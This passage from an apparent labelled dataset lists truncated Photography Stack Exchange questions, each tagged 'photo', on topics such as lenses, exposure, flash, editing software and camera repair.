looking for is the perceived speed of loading images, especially when ... ",['photo'] "Title: How can I get very vivid colors in night cityscape pictures? Body: Can you suggest me what kind of settings would I need to make these kind of pictures. The scenario will be just like the pictures: Outdoors, lights on the streets, and maybe very small rivers with ... ",['photo'] "Title: How can I take portraits which seem to capture the essence of a subject I've just met? Body: I'm pretty good at taking portraits of my family and friends; I know who they are and what they ""really"" look like. But if I'm asked to make a portrait of someone I don't know so well, I'm often ... ",['photo'] "Title: How to record the viewfinder while shooting? Body: I'd like to make an instructional video clip of how I shoot weddings. I want to be able to record what I see in the viewfinder while shooting, so that I can use that footage in the instructional ... ",['photo'] "Title: Image stabilization versus ISO speed Body: I want to do hand-held, natural-light photography in low-light situations, e.g. inside a room with a small window on a rainy day. No tripod, no flash. I assume that compared to a tripod, image ... ",['photo'] "Title: Why don't most cameras store filenames based on date and time? Body: I notice that when taking photos using my camera phone, the file name consists of the date and time. (e.g. 20131101-110015.jpg) However, most point and shoot and DSLR cameras do not. Their file name ... ",['photo'] "Title: What was the price of a brand-new Praktica Super TL 1000? Body: I've recently found a Praktica Super TL 1000 in a second-hand shop and bought it for a small amount of money. The light sensor doesn't work but with some tuning of the manual settings I'm getting ... ",['photo'] "Title: How do TTL flash metering systems calculate how much power is needed? Body: Does anyone know how TTL calculates the amount of power to put in after the preflash is done? I understand that the value is somewhat brand specific, but what is the general logic? Because if you ... ",['photo'] "Title: Help with Blurry pictures Body: I have a 3 month old Nikon D5100. The closer I zoom in the blurrier the picture. This is on auto. I have two lens and they are both doing this. Any idea? ",['photo'] "Title: Best way to move photos to another drive (Lightroom)? Body: My wife uses Lightroom for her Photography business. Her main drive is filling up and I installed another drive into our Mac Pro to be used as an archive. She has groups of files (Weddings, since ... ",['photo'] "Title: Is this photo taken using HDR or software processing? Body: This image has the look of one taken with the HDR technique, yet it is a live performance therefore would be extremely hard to do, as the subject would be moving around. I used photoshop, Gimp and HDR ... ",['photo'] "Title: Best order of doing things when editing scanned photos in Photoshop? Body: What (in your opinion) is the optimum order of doing the following to a scanned image in PhotoShop? Cropping Manually adjust Levels (RGB and density) Manually adjust Curves Manually adjust ... ",['photo'] "Title: What does it mean when an RGB histogram and luminance histogram look similar? Body: What does it mean when both RGB histogram and luminance histogram look similar? Please explain in detali. ",['photo'] "Title: Depth of field clarification [duplicate] Body: What is the range of depth of field when using the hyperfocal distance? I am looking to get clarification on this topic. ",['photo'] "Title: How is the exposure of this histogram? [duplicate] Body: Is exposure correct for this luminance histogram? What does this say about the dynamic range of the scene? The link is here below. It's the graph with dots. http://tinypic.com/r/b85mkj/6 ",['photo'] "Title: What color of light is best for retaining night vision while night shooting? Body: It takes about 30 minutes for eyes to become completely adjusted to night vision. If a flashlight is needed to illuminate controls while making camera adjustments, what is the best way to protect night ... ",['photo'] "Title: How to avoid shadows under the eyes when using bounce flash? Body: How can I avoid shadows under the eyes when I am bouncing flash? The first picture below, using bounced flash, came out horrible. The second picture, using direct flash, has no shadows under the eyes. ... ",['photo'] "Title: Problem with Wacom Intuos 4 tablet with Nik collection Body: When clicking somewhere in a picture within e.g. Viveza 2 using the stylus and my Wacom Intuos 4, an animated white circle is drawn on the screen around the point where I click. The problem is when ... ",['photo'] "Title: What is the best Canon Telephoto Zoom Lens for $600-650? Body: I intend to expand my lens arsenal for my Canon 650D. Already have the kit lens 18-55mm and the UWA Tokina 11-16mm 2.8. My next objective is to get a telephoto zoom lens in the range $600-650. ... ",['photo'] "Title: How do you meter for the effects of a TTL flash Body: I'm experimenting with a shoe mounted flash at the moment. It's a TTL flash and yet the metering doesn't seem to account for the fact the flash will fire, making judging the correct exposure ... ",['photo'] "Title: What to do when manual focus doesn't work on a Nikon DX lens after DIY repair? Body: I have a Nikon 55-200mm DX auto focus lens. I recently repaired the bayonet mount myself - all went well. But when I went to use the manual focus option on the lens, the focus ring remained locked, as ... ",['photo'] "Title: How do I best photograph house and office plants? Body: I have just taken over responsibility for administering a garden center's website and marketing. The website is new (and if I'm honest, not that good) but they had it built just before I started here. ... ",['photo'] "Title: How can I use a histogram to expose correctly when the scene is very dark? Body: If I am photographing a scene with a lot of dark background, how can I use the histogram to tell if the exposure is correct? For instance, at an outdoor concert in which the performers are moderately ... ",['photo'] "Title: How does Darktable compare to Adobe Lightroom for editing JPEGs? Body: I mostly modify JPG images taken from my Nikon camera. How does Darktable compare to Adobe Lightroom for this purpose? ",['photo'] "Title: How to loosen a Canon 75-300 lens (zoom ring is quite stiff to turn) Body: My new Canon EF 75-300mm telephoto lens and the zoom ring is quite stiff. Is the lens faulty or is there a way to loosen it up? ",['photo'] "Title: How do I properly understand what f-stop is? [duplicate] Body: I don't quite understand why most lenses seem to have approximately the same diameter aperture regardless of focal length. F-stop is, by definition, a ratio of focal length to diameter, so a 20mm ... ",['photo'] "Title: What are the criteria for being a “professional photographer”? [closed] Body: Somebody said that the difference between hobbyist and professional photographers was if they had made 50,000 photos or more. Other people say that it depends if a person works full time in this ... ",['photo'] "Title: Filming in a steam room? Body: I plan to film in a steam room this weekend for a cover shoot. However, I know for a fact there may be difficulties regarding the ""steam."" Any tips for filming in a steam room? ",['photo'] "Title: What is the value and age of this pre-1967 Ricoh 35 mm camera? [closed] Body: I have a Ricoh 35 mm camera that has not been used since 1967. I am unable to find a value for it or an age. The body is stamped # 36530 and the lens is tagged # 70573. Can anybody help me determine ... ",['photo'] "Title: Nikon D3100 won't autofocus [duplicate] Body: I have a Nikon D3100, and I found out recently that when I half-press the shutter to focus, it wont autofocus anymore. I've tried it with another lens - still the same problem. The autofocus is ... ",['photo'] "Title: Will LEDs work with a point & shoot camera for light booth digital photography? Body: I am planning on using multiple strips of LEDs to light up a 2 ft x 2 ft x 2 ft light booth for taking pictures of small items. LED output is Cool White 6500k. Digital camera is low cost 5 megapixel ... ",['photo'] "Title: Zoom ring clicks after dropping my Canon 18-55mm IS II kit lens; what to do? Body: I recently dropped my Canon EOS 600D attached to the 18-55mm IS II lens inside the Canon camera bag from a height of 3ft, and the zoom ring after that is really tight, and I hear a clicking sound when ... ",['photo'] "Title: What the best telephoto zoom lens for everyday use with a Canon 7d with a $2500 budget? Body: I tend to shoot outdoors / landscapes / nature significantly more than I do portraits. I was looking at the Tamron (i think) 50-500 - because it seems so damn fun. But that's the kind of upward ... ",['photo'] "Title: Position of two cameras in order to recompose the image Body: I have a setup of two static cameras that film a sport court. One camera for the left side, and the other for the right side. In order to recompose the image of the full court, the cameras must be as ... ",['photo'] "Title: What are the advantages of leaving an ND filter on a lens at all times? Body: I was chatting to a friend yesterday who had his Nikon D300 with a constant 2.8 aperture zoom lens (I can't remember the focal length, might have been around 17-55). The curious thing was that he had ... ",['photo'] "Title: What do orange AF points mean on a Canon DSLR? Body: I recently bought a Canon 7D and Ive noticed that occasionally the AF points are orange. What conditions cause this? It seems like it is a warning of some sort. Usually when the camera focuses on a ... ",['photo'] "Title: Should I buy a Canon 55-250mm lens or 70-300mm for my Rebel T3i? [closed] Body: Should I buy a Canon 55-250mm lens or 70-300mm for my Rebel T3i? I have the basic 18-55mm lens that came with my camera but I need a next step up that's not too expensive. What are the most common ... ",['photo'] "Title: What are techniques for enhancing visibility of photos under natural, outdoor daylight? Body: I'm trying to find techniques for making photos more visible under daylight (i.e., when daylight reflects off the photo displayed on a screen or print). Does anyone know of any photo editing ... ",['photo'] "Title: When is a 180° split focusing screen better than a 45° one? Body: My camera eventually ended up with severe scratches on the original plain matte focusing screen. eBay currently offers: an exact replacement for $20.45 one with a 180° split image rangefinder for ... ",['photo'] "Title: Does Canon make an L series lens with a plastic lens mount? Body: An online retailer is telling me that Canon 24-105 f4L lens comes in two versions, the USA model with a steel lens mount and an import with a plastic lens mount. Is this true? ",['photo'] "Title: Is there any difference between using a full manual lens for Nikon F-mount or using lens for another mount (say m42) with an F-mount adapter? Body: I'm looking for a very cheap (~$50), fast (large aperture), full manual (non-CPU) lens for my Nikon D7000. After searching on eBay, I found that the same lenses (e.g. Vivitar 135mm f/2.8) are cheaper ... ",['photo'] "Title: Best Unsharp Mask settings after resizing photos for imagemagick Body: I'm resizing photos uploaded to a photography gallery and have thus applied an unsharp mask to attempt to preserve the photos original sharpness. The settings I use are: radius: 0 sigma: 0.5 amount: ... ",['photo'] "Title: Emulating Film Black and White in Digital: From Pictures to Print Body: I want to have that ""feel"" of black and white film with my digital photos. Would the Lightroom filters be enough? I mean, if this is done with digital, can I make it so that somehow Adobe Lightroom ... ",['photo'] "Title: How can chromatic aberration be corrected within Photoshop? Body: I know there are many tools that correct chromatic aberration like Lightroom, Capture One and even Photoshop camera raw, but I would like to remove it manually within Photoshop (no plug ins etc) -how ... ",['photo'] "Title: Will a Nikkor AF-S 70-300mm f/4.5-5.6 G IF-ED VR lens work on my Sony A900? Body: I have a Sony A900 that I want to use with Nikkor AF-S 70-300mm f/4.5-5.6 G IF-ED VR. Does this lens come with a Sony mount? I do not want to have to use an adapter. ",['photo'] "Title: How to get this abstract blurry effect on my picture? Body: I really like the blurry effect on the tunnel walls and ceiling in this photograph by Joko on 500px. I get disappointed with my pictures when I see something like that. Can someone explain me how he ... ",['photo'] "Title: Why did my northern lights pictures turn out totally black? [duplicate] Body: Trying to shoot northern lights, able to see images in my view finder eye piece, dark on live view and the pics turned out totally black. I used ISO 800-1000, 8 sec, F3.5 manual mode. ",['photo'] "Title: How can I capture images from two cameras simultaneously, directly to my Mac? Body: I am looking to use this feature for two purposes: scanning books (one camera pointed at each of a pair of pages), and for stereo 3D photography. I would like to be able to preview and capture photos ... ",['photo'] "Title: Why is my Canon EOS 40D getting wrong exposure after focusing screen change? Body: I have just changed the focusing screen; something I have done now a few times. Now ""normal"" metering does not occur in auto or manual focus. In live view all ok. Using the eyepiece produces exposure ... ",['photo'] "Title: What does IQ mean? Body: I see a lot of questions which mention IQ. The only meaning I know outside photography is ""intelligence quotient"" but obviously IQ has some other meaning here. IQ is used for example in ""Lens with ... ",['photo'] "Title: Why does my Lightroom library now show two photos with the same file number? Body: My dilemma is about editing a photo in the Develop mode in Lightroom 4. Why does the library now show two photos with the same file number, the original and the edited photo. The edited photo, with ... ",['photo'] "Title: Why do some polarizers transmit more light then others? Body: How do filters such as the Singh-Ray LB Polarizer transmit more light then other circular polarizers? I am particularly interested in this technology because they claim to only add 1-1/3 stop to the ... ",['photo'] "Title: Is using live view for accurate manual focusing really better? Body: Commonly I hear of landscape photographer who rely on live view to focus now. The process I use is: Tripod mount the camera Switch lens to manual focus Enter Live View Live View zoom to maximum ... ",['photo'] "Title: At what focal range does it make sense to have Image Stabilization turned on when using a Tripod? Body: I was always under the impression that one should turn off the Image stabilization when using a tripod but when I see lenses with long focal length (300mm, 600mm etc...) comes with IS on them. ... ",['photo'] "Title: Card cannot be accessed. Reinsert/change the card or format card with camera [duplicate] Body: Card cannot be accessed. Reinsert/change the card or format card with camera Really this is The Worst Message any Photographer could Have ! First, I own Canon T4i/650D , I was photographing a concert ... ",['photo'] "Title: Why are images with my Nikon D7000 and 70-200mm lens soft? Body: I'm having trouble getting sharp pictures with my D7000. I've tried it with a 70-200 and 18-70 and produce the same results. I've tried AF Fine Tune with one of those focus charts, but the value of 0 ... ",['photo'] "Title: Canon 50mm f/1.2 focus shift not seen yet Body: I know that this lens is known to exhibits focus shift if the object is less than 4 feet away within the range f/2-f/4. However, I've done quite a lot of close-up photography (mostly flowers), ... ",['photo'] "Title: AEB on the Canon Rebel T2i Body: Hi I'm new to this whole HDR scene and I actually have a few questions regarding this. I was trying to take RAW photos with my camera set to AEB on -2, 0, and +2 exposure today with continuous shot ... ",['photo'] "Title: Can we shoot normal pictures using a macro lens? Body: I am confused about macro lenses (or micro as Nikon calls them). Can we shoot normal (Nature) scenes using the macro lens? ",['photo'] "Title: Guide number and exposure [duplicate] Body: I am having a bit of a difficulty calculating this. Guide#= 32 feet at ISO 100 X sync speed= 1/250 Min ISO= 100 Max ISO= 800 What exposure values to expose to capture subject that's far away? What ... ",['photo'] "Title: Which filter should I use on a bright day [duplicate] Body: What are filters for? If I want to use slow shutter speeds on a bright day, which filters are appropriate. ",['photo'] "Title: How do photographers manage multiple lenses? Body: This is probably a very naive question but I will ask anyway. It appears that most photographers carry multiple lenses. Each lens serves a different purpose. I understand that. However, I can't ... ",['photo'] "Title: How to save the auto rotate photo in Canon DPP Body: When I open a photo which was in camera upside down, in Canon Digital Photo Professional it is auto rotated to view right way up. But I have not been able to convert and save it this right way up. ... ",['photo'] "Title: Why only recently are digital cameras being sold without low-pass filters? Body: It seems as though it is becoming more common for new digital cameras to come without low-pass filters. I learned quite a bit from reading the excellent answer here: What is the difference between the ... ",['photo'] "Title: Any ideas what would cause a Canon Pixma Pro-1 printer to produce a significantly substandard print in comparison to the Pro-10 or Pro-100? Body: After a discussion here about the current state of Ink Jet vs C-Type, I decided to try out some ink jet printers and got prints from Canon's full line of professional desktop photo printers. While ... ",['photo'] "Title: Not able to use faster shutter speed 1/4000 or faster Body: I have Nikon D7000 with 18-105 mm lens. One day around noon outside I tried to dial in 1/4000 shutter speed in Shutter Priority mode at 18 mm f/3.5. The exposure meter was telling me my image is going ... ",['photo'] "Title: How do I develop black and white film myself? Body: I have recently got a film SLR and I have shot a lot of pictures (say like 6 rolls in a weeks time). To develop these pictures in my area takes up to a week or two.... so what struck my head was to ... ",['photo'] "Title: Camera Bag Recommendation: is the Case Logic SLRC-205 suitable for all my gear? Body: At present, I only have the option to buy a camera bag is online, so I am not able to try out different bags. I have narrowed down my choices to the Case Logic SLRC-205 sling bag, because it seems to ... ",['photo'] "Title: Copyright Was Released to All Images: Does this include all RAW photos? Body: In our wedding photographer's contract it states that she includes the ""Copyright RELEASE to ALL Images"" and does not specify to only the edited images. Do we have the right to demand the RAW image ... ",['photo'] "Title: Why does the entire image turn white after setting the white point in Aperture 3? Body: When I try to set the white point for an image in Aperture 3 (using the curves tool), the image turns entirely white. When I try to set the white point on the same image in Photoshop CS6 using the ... ",['photo'] "Title: Aperture 3 - Open first aid options for external library Body: I have a huge Aperture 3 library that will not open, giving the following message: Verify that you have iPhoto 9.4 or later. Then open the library in iPhoto to upgrade it.. It is not set as my ... ",['photo'] "Title: Do the issues with sharpness I am seeing require AF fine-tuning? Body: I own a nikon D7000 with 18-105 lens. I am not happy with sharpness I get with autofocus in portraits. I read about front/back focusing, but I am not sure whether my gear has this issue. Is this issue ... ",['photo'] "Title: How to shoot circus acts with a point-and-shoot? Body: I have a point and shoot and need to know what are the best settings to shoot circus acts. I tried to shoot everything in AUTO or SCN mode on the OLYMPUS SPZ 800, but the results are not clean. Here ... ",['photo'] "Title: Does photograph copyright ownership belong to the person who “just” pressed the shutter-button? Body: In a situation where Person A has a photograph idea/concept, an auto-portrait for example, sets up the scene, lighting, and instructs Person B how to compose the photograph, which leaves the Person B ... ",['photo'] "Title: How do smartphone cameras focus? [duplicate] Body: I'm curious, when I focus my DSLR or my pocket camera the lens moves back and forth changing the distance from the sensor. Does this really happen inside my smartphone? ",['photo'] "Title: Is it worth buying a 5D Mark I or an EOS 1Ds II today? Body: I've been taking photographs for a while, and have started to think about moving to full-frame. I'm on a very limited budget, but I currently have a good macro lens and am quite willing to buy ... ",['photo'] "Title: How can I align two panoramic images? Body: I have two panoramas, which are already stitched. They were taken four years apart, of the same town from the same location. I want to align them and show them side by side, so that the viewer can ... ",['photo'] "Title: Why does Nikon D3100 locks Shutter in Autofocus mode? Body: So I just got this Nikon D3100 Camera. And I am trying to take a picture using autofocus with the kit lens(18-55mm). The system is in Auto mode, AF-A, single frame and the lens A-M switch is on ... ",['photo'] "Title: Good workflow to review and delete photos with Darktable? Body: I've just got a new camera, which I have already started taking a lot of photos with. Hard drive space isn't THAT cheap, and I would like to get a work-flow together to quickly go through images, ... ",['photo'] "Title: How to care for digital camera batteries to prolong its life? Body: I wonder how can one prolong the life of a digital camera battery. Some times I would go about 2~3 months without using my camera. When I try to pick up the camera again, I found battery no longer has ... ",['photo'] "Title: Why my “action” shots are blurry even shooting on AF-C, is this a lens or camera limitation? Body: I'm currently using a Nikon 28-200mm AF-D with my D7000. While trying to take action shots (e.g. my dog running or sports) none of the shots seem to be in focus even on AF-C mode. Would this be a ... ",['photo'] "Title: How can I retrieve internal memory photos on D3100? Body: I have a Nikon D3100 SLR camera. Recently bought a new SDHC card but forgot to format it before using, so all photos wen to camera internal memory. I only realised this when we went to upload on the ... ",['photo'] "Title: Video on Canon 50D? Body: I know that my canon 50D doesn't have ability to shoot video, but i have heard that the software can be hacked, or that there exists some ""crack"" to make possible for 50D to record videos and that ... ",['photo'] "Title: What light equipment for reprography? Body: I'm going to buy a copy stand to easily take pictures of my papers, and also pictures of what I'm writing and drawing on my desk, sometimes also taking videos. I was wondering what kind of lights I ... ",['photo'] "Title: Cheapest DSLR with vari-angle LCD live-view screen? Body: At work, I have access to a Canon Rebel T3i camera. One of the things I like best about it is the rotatable (vari-angle) LCD screen that can be used for live-viewing. It's handy when shooting from ... ",['photo'] "Title: Does an aperture value exist, where a lens creates a brighter image than the real view? Body: So (without limitations of the viewfinder for example) looking through the viewfinder creates a brighter image than normal view would be. The lens would then work like a funnel(collects light from ... ",['photo'] "Title: Can I get longer than 15 second exposure with my canon SX 50? Body: I am new to photography and I was hoping to go take some pictures of star trails this weekend. I just bought this camera this week and I realized that the highest shutter speed is 15 seconds. Is there ... ",['photo'] "Title: Why are there some colours missing in Lightroom Split Toning selection tool? Body: The Split Toning selection tool in Lightroom does not have some colours like gray, brown, black etc... for both highlights and shadows. Is there a specific reason for this? ",['photo'] "Title: Why does DSLR technology seem so primitive? Body: I am curious to know why today's DSLRs (including the top of the line ones) have: A primitive interface Do not do wifi out of the box Do not have touch interface Do not have full fledged OS like ... ",['photo'] "Title: What equipment do I need to film downwards over a table? Body: I would like to be able to film what I'm writing and drawing on a table, inside a light cube. I just want to be able to sit at my table and have the camera above it pointing downwards. I would have ... ",['photo'] "Title: Recommendations to avoid color fringing Body: I'd like to have suggestions to prevent color fringing as much as possible; ideally, when taking pictures, i.e., before post-processing. I understand that overexposed images may cause color fringing, ... ",['photo'] "Title: What operating systems run on today's DSLRs? Body: I was just wondering if anyone could provide names and a bit of background on the Operating Systems the current day DSLRs (namely, Nikon, Canon) use. ",['photo'] "Title: What lens should I purchase for newborn photography with the Canon T4i? [duplicate] Body: I just purchased a Canon T4i (body only) and I'm looking for good info on which lens to purchase for it. I purchased the camera to take pictures of my newborn & for my dogs inside and outside of ... ",['photo'] "Title: Is the MacBook Pro display well calibrated? Body: I own a Macbook Pro with Retina display. Assuming I'm only interested in displaying photos on the screen, is the Retina display calibrated well enough for colors? If not, which method would you ... ",['photo'] "Title: Colour Management Body: I have a laptop. I have an Xrite colour display calibration tool. I have CS6. It may seem an idiotic question but in all my reading no one explains it simply. I profiled my monitor. It gave me a ... ",['photo'] "Title: Using noise reduction and sharpening in LR4 [duplicate] Body: When using these two features in LR4 for global adjustments, I normally start with noise reduction and keep sliding till the ""pixels"" are removed. I then increase sharpening to the point right before ... ",['photo'] "Title: Is it possible to re-focus (recover) an intentionally blurred image? Body: I have an image which I have modified through Picasa ( using Soft Focus - essentially I am making the faces blurred ). Question is : If I upload that photo to Facebook, and a user downloads it from ... ",['photo'] "Title: Can you explain how this KATA strap connector works? Body: I just bought a Kata backpack, MiniBee-110 PL. It has an enormously long waist strap that I think is removable. It's attached to the bag by this connector (in the picture below), but I haven't been ... ",['photo'] "Title: Why does my Panasonic GF2 have terrible battery life? Body: I've had a Panasonic DMC-GF2 for a couple of years and the battery life has always been terrible. I've bought a new battery, thinking that was the problem and battery life has still been bad. I will ... ",['photo'] "Title: What Nikon camera should be used in the high mountains Body: I live among the world's highest mountains and so I live in snow for 7 months a year. The amazing summer comes only for four months and brings millions of amazing birds, insects, plants, cascading ... ",['photo'] "Title: How to see offwhite color in picture [duplicate] Body: I have a bunch of pictures of products and some of the images aren't on a purely white(ffffff) background. The only way to see is to sum up the color of the pixels via a script or to tilt my monitor ... ",['photo'] "Title: Mirrorless camera: setting the diaphragm Body: Do mirrorless (hybrid) cameras like the Sony NEX-x or the Panasonic Lumix GFx let you set manually the diaphragm? ",['photo'] "Title: What housing should I get for the Canon 5D MkII? Body: I am a certified diver and a photographer too. My first experience in under water photography was taken with a cheap compact Canon Powershot G12 and its housing. It was a fantastic experience and my ... ",['photo'] "Title: Why choose Digital Medium Format over high end DSLR? [duplicate] Body: I'm trying to understand why the company I work got a medium format Phase One camera to take photos for their website. The person who ordered it has left, so we don't know their reasoning, but I ... ",['photo'] "Title: Processing photos with Lightroom 4 and Nik Software Body: My understanding is that when editing a photo with Nik Software, you cannot process a raw file directly. Which format would be best to use amongst the option the plugin provides? Also, if processing ... ",['photo'] "Title: How do I get the best results when photographing a christening? Body: I take some halfway decent photos and have been asked by a family friend to photograph her daughter's christening. I have a Canon EOE350D camera, a 50mm f/1.8 lens and an 18-55mm f/5.6 kit lens, but ... ",['photo'] "Title: Which is the better lens: Canon 28-105 or 28-135? Body: I have a very old (18 years or so) Canon 28-105 3.5-4.5 USM lens. I bought it for my Elan 2e and then 7NE, and then used it on my XTI. I thought it took great pictures. Now i'm shooting the Canon ... ",['photo'] "Title: Deactivating the pop-up flash on the Nikon D7000 Body: How do I deactivate the pop-up flash on the Nikon D7000 when using a flash unit that is mounted in the hot-shoe? ",['photo'] "Title: Is there a way to charge a battery while still in the camera? Body: I have a Canon DSLR 1000D (but don't feel limited to that) and I would like to have it charging automatically while turned off, without having to remove the battery from the body. That is while I ... ",['photo'] "Title: Why is a low base (minimum) ISO desirable in stills cameras? Body: Why is low base ISO so desirable in stills cameras, when the opposite seems to be true for digital motion picture cameras, for instance Arri Alexa, Sony F65 and F55, Canon C300, C500? As an amateur ... ",['photo'] "Title: What differentiates a Canon standard zoom from an ultra-wide angle zoom? Body: I was checking the Canon website and found that the EF-S 15-85mm f/3.5-5.6 IS USM lens is a ""standard"" zoom lens, whereas the EF 17-40mm f/4L USM is described as an ""ultra-wide"" Zoom. Is there ... ",['photo'] "Title: How can i turn off my NEX with the shutter closed? Body: I have received a NEX-5N without battery and shutter closed, so no cap is needed. How can i go about doing this again? I thought of removing the battery when the shutter closes, but it's too quick. ",['photo'] "Title: Candid people shots Body: What are the appropriate laws regarding taking candid or unsolicited shots of people in public places? Do they have a right to prohibit me from doing so? Can they sue me for invasion of privacy? Do ... ",['photo'] "Title: Why are my printed photos coming out smudged and crazy looking? Body: I just got a new Canon Pixma Pro-100, which came with a few sheets of luster paper. I calibrated the printer, and printed 2 sheets looking sharp. Then, I printed one photo... it came out pretty good: ... ",['photo'] "Title: How do I find a trustworthy online Nikon retailer in Canada? Body: I rarely use online shops and I had never shopped cameras online! Today I just checked Amazon.ca and it just doesn't look right to me, it does not look as good as Amazon.com and Amazon.com also says ... ",['photo'] "Title: Was the lack of video capture on “old” DSLRs an artificial restriction? Body: This is a bit of an philosophical question, so bear with me. I have an ""old"" Canon EOS 30D. Some models later, Canon started releasing EOS cameras with video capture capability. Is there anything ... ",['photo'] "Title: Can the D800 built-in flash be used to trigger slave flashes only? Body: Without itself emmiting light during the exposure? ",['photo'] "Title: Where to get film developed and high quality scans? [duplicate] Body: Possible Duplicate: Where is a really good place to get film developed by mail? I've recently picked up an old Canon SLR and wanted to experiment with it. Unfortunately, I've found it ... ",['photo'] "Title: Which free editing program has an preset 'Relief' adjustment? Body: Before my XP went walk-about (and the hard drive went with it) I was using a free editing program that allowed a ""one-touch"" (well, actually it was three clicks — but who's counting...) adjustment to ... ",['photo'] "Title: PC flash sync adapter for canon 550ex Body: I'm trying to sync my XTi to a 550ex speedlite with PC cord. I'm shopping on amazon.co.uk and can only find two adapters that might do the job; Hama or SC2. Will either of these do the job? If not can ... ",['photo'] "Title: Can I replace an 1100 mAh battery with a 1500mAh one? Body: I've got a Canon EOS camera that takes a BP-511 battery. The specs on the battery are 7.4V and 1100mAh. The battery is dead and I want to buy a replacement, but I'm looking at a third party battery, ... ",['photo'] "Title: I dropped my P&S, can I fix the zoom by myself? Body: I dropped my P&S, and now the zoom barrel is like this: It's out of warranty, what's the best way to fix it? Take it apart? Hit the barrel with something? Push it? ",['photo'] "Title: What P&S would rival Olympus E-PM1? Body: I plan to buy a secondary camera thats easier to carry around. I plan to spend around $350 to $400 on it. I am unable to decide if I should go for a low price Mirrorless camera like Olympus E-PM1 or a ... ",['photo'] "Title: Which Is Better For Connecting a Sling Strap, Tripod Mount vs. Neck Strap Mount Body: I am looking to move away from a neck strap and get a shoulder sling strap for my Nikon D3200 camera. I've seen straps that connect with either the OEM Neck Strap mounts OR the Tripod mount. The Neck ... ",['photo'] "Title: How to scale up a photo? [duplicate] Body: Possible Duplicate: How can I upscale a low-res image to make it appear higher-res? I need to scale up a small photo to the 3x of the original size. What method is common to become the best ... ",['photo'] "Title: Non-Canon software not reading custom image settings off RAW images Body: I'm fairly new to photography, and I've been trying out a few image editors, and I stumbled upon one issue: any program that can read Canon's raw files, except Canon's Digital Photo Professional, ... ",['photo'] "Title: Pros and Cons for using a camera strap and what better alternatives are available? Body: Let me start by saying I prefer not using a strap at all. I know this is personal preference and is related to shooting habit but lets try to list out the pros and cons for using the strap that came ... ",['photo'] "Title: Can I do a Selective Color effect in Photoshop Elements? Body: In TipSquirrel there is a tutorial on ""Unifying an image with Selective Color"" By Michael Hoffman. Can this be done with Photoshop Elements. I am not very knowledgable on Photoshop Elements as I ... ",['photo'] "Title: Precautions and Preparation for the Salar De Uyuni during Rainy Season Body: For those who don't know, the Salar De Uyuni is the world's biggest salt desert and covers 10,000 square-kilometers. During the rainy season it reflects the sky like a huge mirror, giving some pretty ... ",['photo'] "Title: What lens for taking photos of artwork with Nikon D800 without distortion? Body: I'm an artist and I do need to take photos of my paintings with heavy texture. I bought a 50mm f1.8 with my new Nikon D800 and I find some distortion when the painting is big 36""x 60"". I used to ... ",['photo'] "Title: These photos were taken to show the different effects of light, but what's actually different? Body: B&H released an info-graphic today to show the effects of different lighting with modifiers, but they all look the same to me. The first photo looks different with the darker shadows, sure, and ... ",['photo'] "Title: Grinding an RRS plate to fit new body Body: I have an L plate for the original 5D. I now have a 5DII. I see how it can fit with a bit of grinding, and read others have done it. Anyone know what is the best tools and such to use? Bench grinder ... ",['photo'] "Title: Image overlay and processing [closed] Body: If I overlay an image( lets say A) with another image(B) using 50% transparency. is it possible to recover A without knowing what B is? Dose overlaying make it hard to extract the original content? ... ",['photo'] "Title: How fast can I take pictures with a remote control on my Canon EOS 550D? Body: I'm using an IR LED for controlling my Canon 550D/T2i for a time lapse. If I shoot each 6 seconds everything is fine, but I want to shoot each 1 second. Then I have problems, it shoots at random ... ",['photo'] "Title: What Hot Shoe Accessories are Available for a Canon T3 / EOS 1100D? Body: Specifically, what hot shoe accessories are available for the T3 / 1100D that use the hot shoe electronics to communicate with the camera (besides flashes)? ",['photo'] "Title: Nikon Wireless Remote Controller WR-R10/WR-T10 backwards compatibility Body: Ever since the press release, everywhere I look for details on Nikon’s WR-R10 wireless transceiver and WR-T10 wireless transmitter, I always seem to find them mentioned in conjunction with the new ... ",['photo'] "Title: What lens should I buy? [closed] Body: Im going on a Caribbean Cruise this winter and I just recently purchased the Canon Rebel T4i 18MP DSLR Camera Package which come with... Canon Rebel T4i 18MP DSLR Camera With 18-55mm f/3.5-5.6 IS II ... ",['photo'] "Title: Canon TS-E 24mm vs Hasselblad Tilt-Shift adapter Body: Our studio just purchased a new Hasselblad H4D (don't ask why & don't ask how much it cost) with some lenses and a tilt-shift adapter. OTOH, since I'm mostly photojournalist I'm considering to ... ",['photo'] "Title: Filtered water soaked Leica D-Lux 4 repair? Body: Apologies if this question doesn't fit here (suggested by a moderator) While on vacation in Las Vegas, the wife decided to pour a bottle of filtered water into her purse and coincidentally, all over ... ",['photo'] "Title: How can I be more inconspicuous with a DSLR for Street Photography? Body: During my holiday in Korea, I did a bit of street photography, and I enjoyed it. Photography has been my hobby for 6 or 7 years now, I have a DSLR (Canon 60D) and a compact (Samsung EX1). For street ... ",['photo'] "Title: Can someone take a picture of me, then claim copyright over the material? [duplicate] Body: Possible Duplicate: If someone makes a picture of me, who owns the right to it? A lady took a photograph of me, then posted it in a smear campaign against me. I was the obvious subject of ... ",['photo'] "Title: Why is sharpness lost in my DSLR viewfinder? Body: I have a fairly new Nikon D7000 (I've taken about 2000 pictures). Something happened during my last trip, where thew viewfinder never gets sharp anymore. It always looks out of focus, regardless if ... ",['photo'] "Title: Canon G11 Lens problems Body: My wife has a Canon G11 purchased in April 2010. This was purchased through a legitimate B&M store for ~700. It has recently developed a spot on the Lens/sensor (it comes into focus when zoomed ... ",['photo'] "Title: Are there any lenses for the Sony HX200V to make better quality photos? Body: My sister has just bought the Sony DSC-HX200V camera. She mainly uses the camera to take photos of views and portraits of children (for university work). Are there any lenses available to buy for this ... ",['photo'] "Title: How do I set my Canon 600D for Long Exposure? Body: I have a Canon 600d. I need to have a long exposure. What settings should be used to achieve a long exposure in my camera? I tried searching and most of them say bulb mode. I don't see it in my ... ",['photo'] "Title: Which camera/lens combination achieves the highest possible image quality for macro? Body: Doing lots and lots of research I have a hard time time finding the ultimate answer to this question. I would like to shoot macro and products and aim for maximum sharpness and reproduction. Maximum ... ",['photo'] "Title: Why isn't color from my Canon 550D up to my expectations? Body: I am using a Canon 550D and I am not satisfied with the image quality that it offers. By image quality I am specifically concerned with a general feeling of better color. I have used different lenses ... ",['photo'] "Title: What is the difference between canon 5D mark II and mark III? Body: Now I am using Canon 5D mark II, I want to upgrade my camera into Mark III. I want to know what is the difference between each them. ",['photo'] "Title: A photo showing the point of view of a celebrity going down from an airstair and facing a crowd of photographers [closed] Body: I saw a photo and I am looking for its author, he/she was not credited in the book I saw. I do not know whether the photo is famous. The photo is black and white. It is taken from 